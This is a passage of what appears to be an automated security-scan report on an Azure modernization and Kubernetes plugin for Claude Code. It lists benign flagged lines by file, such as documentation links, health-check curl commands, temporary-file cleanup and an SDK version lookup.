    | Container Registry | registries | {{ACR_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 22
    | {{BACKING_SERVICE}} | {{TYPE}} | {{NAME}} | `https://portal.azure.com/...` |

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/SKILL.md

  • Network accessline 25
    You are an AKS Automatic compatibility assessment agent. Your job is to evaluate whether Kubernetes workloads and cluster configurations are compatible with [AKS Automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic), i
  • Network accessline 125
    If `mcp_azure_mcp_aks` is not available, inform the user: > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For n
  • Network accessline 126
    > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline."

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/references/mcp-integration.md

  • Network accessline 93
    "description": "OIDC issuer not enabled",       "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>",       "documentationUrl": "https://learn.microsoft.com/azure/aks/..."
  • Network accessline 94
    "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>",       "documentationUrl": "https://learn.microsoft.com/azure/aks/..."     }
  • Network accessline 95
    "documentationUrl": "https://learn.microsoft.com/azure/aks/..."
  • Network accessline 162
    If `mcp_azure_mcp_aks` is not available, say: > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local ma
  • Network accessline 163
    > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline — export them with `kubectl ge
  • Network accessline 199
    | Error | Cause | Fix | |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |
  • Network accessline 200
    |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | | `HTTP 401 Unauthorized` | Not logged in |
  • Network accessline 201
    | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |

harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes/SKILL.md

  • Network accessline 76
    - **Azure CNI Overlay** (recommended): pod IPs from private overlay range, not VNet-routable, scales to large environments and good for most workloads - **Azure CNI (VNet-routable)**: pod IPs directly from VNet (pod subnet or node subnet), 
  • Network accessline 78
    - Docs: https://learn.microsoft.com/azure/aks/azure-cni-overlay

harness/claude-code/plugins/azure-modernization/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/SKILL.md

  • Network accessline 36
    6. Destructive actions require `ask_user` — [functions global-rules](references/services/functions/global-rules.md) | [app-service global-rules](references/services/app-service/global-rules.md) 7. **Report progress to user** — During long-r
  • Network accessline 38
    8. **Audit service discovery in app code** — Kubernetes DNS names (e.g., `http://order-service:3001`) do not resolve in Container Apps. During assessment, scan source code for hardcoded hostnames/ports in HTTP clients and flag them for env-

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/app-engine-to-app-service.md

  • Network accessline 180
    - [GCP to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/gcp-professional/)
  • Network accessline 181
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 182
    - [Cosmos DB migration options](https://learn.microsoft.com/en-us/azure/cosmos-db/migration-choices)
  • Network accessline 183
    - [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/beanstalk-to-app-service.md

  • Network accessline 165
    - [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/)
  • Network accessline 166
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 167
    - [App Service autoscale](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-get-started)
  • Network accessline 168
    - [Azure Database Migration Service](https://learn.microsoft.com/en-us/azure/dms/dms-overview)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/code-migration.md

  • Network accessline 89
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/global-rules.md

  • Network accessline 25
    - Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overvie
  • Network accessline 26
    - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the 
  • Network accessline 27
    - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the supported stacks page per language

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/heroku-to-app-service.md

  • Network accessline 32
    | Heroku Dyno Type | App Service Plan | Notes | |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. Se
  • Network accessline 33
    |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.mi
  • Network accessline 34
    | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.microsoft.com/azure/app-service/overview-hosting-pl
  • Access to secretsline 87
    [Credential-related source omitted]
  • Network accessline 158
    - [Heroku to Azure migration guide](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 159
    - [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)
  • Network accessline 160
    - [GitHub Actions for App Service](https://learn.microsoft.com/en-us/azure/app-service/deploy-github-actions)
  • Network accessline 161
    - [App Service managed identity](https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/cloudrun-deployment-guide.md

  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 193
    FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -I "https://$FQDN/health"
  • Network accessline 194
    curl -I "https://$FQDN/health"
  • Network accessline 201
    $app = az containerapp show --name <app-name> -g $RG | ConvertFrom-Json Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"
  • Network accessline 202
    Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/deployment-guide.md

  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Possible obfuscationline 111
    $decodedSecretValue = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($secretValue))
  • Network accessline 127
    > ⚠<U+FE0F> **Warning: Service Discovery Changes** — In Kubernetes, pods reach other services by short DNS name (e.g., `http://order-service:3001`). In Container Apps, internal services use HTTPS FQDNs (e.g., `https://order-service.internal.<env-d
  • Network accessline 157
    # Get app FQDN and test FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN"
  • Network accessline 158
    FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" curl https://$FQDN/health
  • Network accessline 159
    echo "App URL: https://$FQDN"
  • Network accessline 160
    curl https://$FQDN/health
  • Network accessline 167
    $FQDN = az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "App URL: https://$FQDN"
  • Network accessline 168
    Write-Host "App URL: https://$FQDN"
  • Network accessline 169
    Invoke-WebRequest -Uri "https://$FQDN/health" -Method Head
  • Network accessline 185
    | SecretRef not found | `--env-vars KEY=secretref:name` requires `--secrets name=value` (or keyvaultref) in the **same** `az containerapp create` command | | ARM deployment locks | If a Bicep deployment is stuck with Container Apps InProgre
  • Network accessline 187
    | Service-to-service timeout | Kubernetes DNS names (`http://svc:port`) don't work in ACA. Ensure app code reads `ORDER_SERVICE_URL` (or equivalent) env var pointing to the internal FQDN |

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/fargate-deployment-guide.md

  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Dangerous shell operationline 113
    trap 'rm -f "$secret_file"' EXIT
  • Dangerous shell operationline 118
    rm -f "$secret_file"
  • Network accessline 197
    set -euo pipefail FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; }
  • Network accessline 198
    FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } az containerapp logs show --name <app-name> -g "$RG" -
  • Network accessline 199
    curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; }
  • Network accessline 204
    $ErrorActionPreference = 'Stop' $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head
  • Network accessline 205
    $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head az containerapp logs show --name <app-name> -g $env:RG --tail 100
  • Network accessline 206
    Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/fargate-to-container-apps.md

  • Network accessline 67
    - [Azure Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview)
  • Network accessline 68
    - [AWS to Azure services comparison](https://learn.microsoft.com/azure/architecture/aws-professional/services)
  • Network accessline 69
    - [Container Apps scaling](https://learn.microsoft.com/azure/container-apps/scale-app)
  • Network accessline 70
    - [Container Apps managed identity](https://learn.microsoft.com/azure/container-apps/managed-identity)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/spring-assessment-guide.md

  • Network accessline 33
    ### Spring Boot Version Requirements - **Recommended target**: Spring Boot 3.x (requires Java 17+) - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.c
  • Network accessline 35
    - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.0-Migration-Guide)
  • Network accessline 37
    ### Spring Cloud Compatibility - Verify Spring Cloud version matches Spring Boot 3.x requirements - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)
  • Network accessline 39
    - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/spring-deployment-guide.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Dangerous shell operationline 102
    trap 'shred -u "$SECRET_FILE" 2>/dev/null || rm -f "$SECRET_FILE"' EXIT
  • Network accessline 236
    FQDN=$(az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv) echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health"
  • Network accessline 237
    echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" az containerapp logs show --name spring-app --resource-group spring-rg --tail 50
  • Network accessline 238
    curl "https://${FQDN}/actuator/health"
  • Network accessline 244
    $FQDN = az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "Application URL: https://${FQDN}"
  • Network accessline 245
    Write-Host "Application URL: https://${FQDN}"
  • Network accessline 246
    Invoke-WebRequest "https://${FQDN}/actuator/health"
  • Network accessline 256
    az containerapp env java-component config-server-for-spring create    --environment spring-env --resource-group spring-rg --name config-server    --min-replicas 1 --max-replicas 1    --configuration spring.cloud.config.server.git.uri=https:
  • Network accessline 257
    --environment spring-env --resource-group spring-rg --name config-server \   --min-replicas 1 --max-replicas 1 \   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 258
    --min-replicas 1 --max-replicas 1 \   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server
  • Network accessline 259
    --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 265
    az containerapp env java-component config-server-for-spring create    --environment spring-env --resource-group spring-rg --name config-server    --min-replicas 1 --max-replicas 1    --configuration spring.cloud.config.server.git.uri=https:
  • Network accessline 266
    --environment spring-env --resource-group spring-rg --name config-server `   --min-replicas 1 --max-replicas 1 `   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 267
    --min-replicas 1 --max-replicas 1 `   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server
  • Network accessline 268
    --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/code-migration.md

  • Network accessline 16
    - Use latest programming model (v4 for JavaScript, v2 for Python) - **Always use bindings and triggers instead of SDKs** — For blob read/write, use `input.storageBlob()` / `output.storageBlob()` with `extraInputs`/`extraOutputs`. For queues
  • Network accessline 18
    - **Always use the latest supported language runtime** — Consult [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) and select the newest GA version. Do NOT default to an older LTS version whe

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/global-rules.md

  • Network accessline 24
    - Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.micr
  • Network accessline 25
    - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. N
  • Network accessline 26
    - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. Never default to older versions

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/lambda-to-functions.md

  • Access to secretsline 90
    [Credential-related source omitted]
  • Network accessline 95
    - [AWS Lambda vs Azure Functions comparison](https://aka.ms/AWSLambda)
  • Network accessline 96
    - [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/)
  • Network accessline 97
    - [Supported language runtimes](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 98
    - [Triggers and bindings overview](https://learn.microsoft.com/en-us/azure/azure-functions/functions-triggers-bindings)
  • Network accessline 99
    - [Functions quickstart JS (azd)](https://github.com/Azure-Samples/functions-quickstart-javascript-azd/tree/main/infra)
  • Network accessline 100
    - [Functions quickstart .NET Event Grid (azd)](https://github.com/Azure-Samples/functions-quickstart-dotnet-azd-eventgrid-blob/tree/main/infra)
  • Network accessline 172
    properties: {         // ARM resolves system key and handles validation at deployment time         endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functi
  • Network accessline 173
    // ARM resolves system key and handles validation at deployment time         endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default
  • Network accessline 174
    endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default', '2023-12-01').systemKeys.blobs_extension}'

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/csharp.md

  • Network accessline 225
    > Full reference: [Azure Functions C# isolated worker guide](https://learn.microsoft.com/en-us/azure/azure-functions/dotnet-isolated-process-guide)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/java.md

  • Network accessline 214
    > Full reference: [Azure Functions Java developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-java)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/javascript.md

  • Network accessline 325
    > Full reference: [Azure Functions JavaScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/powershell.md

  • Network accessline 221
    > Full reference: [Azure Functions PowerShell developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-powershell)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/python.md

  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 199
    > Full reference: [Azure Functions Python developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-python)

harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/typescript.md

  • Network accessline 119
    > Full reference: [Azure Functions TypeScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node?tabs=typescript)

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/SKILL.md

  • Network accessline 86
    - [Automation Scripts](references/services/functions/automation.md) - **Redis**   - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManage
  • Network accessline 87
    - **Redis**   - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skil
  • Network accessline 88
    - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skill](https://git

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/INSTRUCTION.md

  • Network accessline 102
    - If azure-sdk-bom is used, ensure the BOM version exactly matches the resolved latest stable version recorded in the plan's `Guidelines` section as `TARGET_AZURE_SDK_BOM_VERSION` and there are **NO** explicit version dependencies for Azure
  • Network accessline 103
    E.g. Instead of `implementation 'com.azure.resourcemanager:azure-resourcemanager:2.60.0'`, we should use `implementation 'com.azure.resourcemanager:azure-resourcemanager'`.   For Azure libraries in azure-sdk-bom, check https://raw.githubuse
  • Network accessline 104
    For Azure libraries in azure-sdk-bom, check https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml.
  • Network accessline 115
    - [Migrate to `com.azure.resourcemanager.**` from `com.microsoft.azure.management.**`](https://aka.ms/java-track2-migration-guide)
  • Network accessline 116
    - [Migrate to com.azure:azure-messaging-servicebus from com.microsoft.azure:azure-servicebus](https://aka.ms/azsdk/java/migrate/sb)
  • Network accessline 117
    - [Migrate to azure-messaging-eventhubs from azure-eventhubs and azure-eventhubs-eph](https://aka.ms/azsdk/java/migrate/eh)
  • Network accessline 118
    - [Migrate to `azure-messaging-eventgrid` from `microsoft-azure-eventgrid`](https://aka.ms/azsdk/java/migrate/eg)
  • Network accessline 119
    - [Storage Blob Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V8_V12.md)
  • Network accessline 120
    - [Storage Blob Service SDK Migration Guide from 10.x/11.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V10_V12.md)
  • Network accessline 121
    - [Storage Queue Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-queue/migrationGuides/V8_V12.md)
  • Network accessline 122
    - [Storage File Share Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-file-share/migrationGuides/V8_V12.md)
  • Network accessline 123
    - [Migrate to azure-security-keyvault-secrets from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-secrets)
  • Network accessline 124
    - [Migrate to azure-security-keyvault-keys from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-keys)
  • Network accessline 125
    - [Migrate to azure-security-keyvault-certificates from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-cert)
  • Network accessline 126
    - [Migrate to `Azure-Compute-Batch` from `Microsoft-Azure-Batch`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/batch/azure-compute-batch/MigrationGuide.md)
  • Network accessline 127
    - [Migrate to `azure-ai-documentintelligence` from `azure-ai-formrecognizer`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/documentintelligence/azure-ai-documentintelligence/MIGRATION_GUIDE.md)
  • Network accessline 128
    - [Migrate to `azure-ai-formrecognizer 4.0.0-beta.1 - above` from `azure-ai-formrecognizer 3.1.x - lower`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/formrecognizer/azure-ai-formrecognizer/migration-guide.md)
  • Network accessline 129
    - [Migration Guide from Azure OpenAI Java SDK to OpenAI Java SDK](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/openai/azure-ai-openai-stainless/MIGRATION.md)
  • Network accessline 130
    - [Migrate to azure-monitor-query from azure-loganalytics and azure-applicationinsights-query](https://aka.ms/azsdk/java/migrate/monitorquery)

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-settings.md

  • Network accessline 3
    Some projects define version catalogs programmatically in `settings.gradle` / `settings.gradle.kts` instead of using a TOML file. OpenRewrite does not support this either ([openrewrite/rewrite#4852](https://github.com/openrewrite/rewrite/is

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-toml.md

  • Network accessline 3
    OpenRewrite does not yet support TOML version catalogs ([openrewrite/rewrite#4400](https://github.com/openrewrite/rewrite/issues/4400)). Handle manually.

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle.md

  • Network accessline 24
    Under the hood (OpenRewrite recipes): - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency))
  • Network accessline 25
    - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency))
  • Network accessline 26
    - **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/gradle/upgradedependencyversion))
  • Network accessline 27
    - **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/gradle/removeredundantdependencyversions))
  • Network accessline 84
    For every Azure dependency whose group starts with `com.azure` and is managed by the BOM (verify against `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`), strip the version coordinate.

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-maven.md

  • Network accessline 24
    Under the hood (OpenRewrite recipes): - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency))
  • Network accessline 25
    - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency))
  • Network accessline 26
    - **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/maven/upgradedependencyversion))
  • Network accessline 27
    - **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/maven/removeredundantdependencyversions))
  • Network accessline 85
    For every `<dependency>` whose `<groupId>` starts with `com.azure` (e.g. `com.azure`, `com.azure.resourcemanager`, `com.azure.spring`), check whether the BOM manages it (see the BOM POM at `https://repo1.maven.org/maven2/com/azure/azure-sdk

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-migration.md

  • Network accessline 39
    If Python is not available or the `--get-latest-version` command fails, fetch `https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml` directly and use the `<version>` value declared in that BOM `pom.
  • Network accessline 57
    > 💡 **Tip:** To check which artifacts are managed by the BOM, fetch > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`
  • Network accessline 58
    > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.eventprocessorhost.md

  • Network accessline 16
    Replace usage of `InMemoryCheckpointManager` / `InMemoryLeaseManager` with [BlobCheckpointStore](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs-checkpointstore-blob/src/main/java/com/azure/mess

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.management.md

  • Access to secretsline 61
    [Credential-related source omitted]

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/scripts/upgrade_bom.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 43
    GROUP_ID = "com.azure" ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml"
  • Network accessline 44
    ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 45
    BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml"
  • Network accessline 46
    POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 80
    def _get_latest_bom_version() -> str:     try:         with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:
  • Network accessline 81
    try:         with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:             pom_xml = response.read()
  • Network accessline 82
    with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response:
  • Network accessline 167
    except ET.ParseError:         return False     ns = {"m": "http://maven.apache.org/POM/4.0.0"}
  • Network accessline 168
    return False     ns = {"m": "http://maven.apache.org/POM/4.0.0"}     for dep in tree.findall(".//m:dependencyManagement/m:dependencies/m:dependency", ns):
  • Network accessline 169
    ns = {"m": "http://maven.apache.org/POM/4.0.0"}

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/templates/PLAN_TEMPLATE.md

  • Network accessline 198
    - **Fluent API Changes**      - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager.      - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for meth
  • Network accessline 199
    - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager.      - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings. -->
  • Network accessline 200
    - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings.

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/templates/SUMMARY_TEMPLATE.md

  • Network accessline 111
    - **Fluent API Changes**     - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager.     - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide
  • Network accessline 112
    - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager.     - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide     - **Files Changed**: ResourceProvisioner.jav
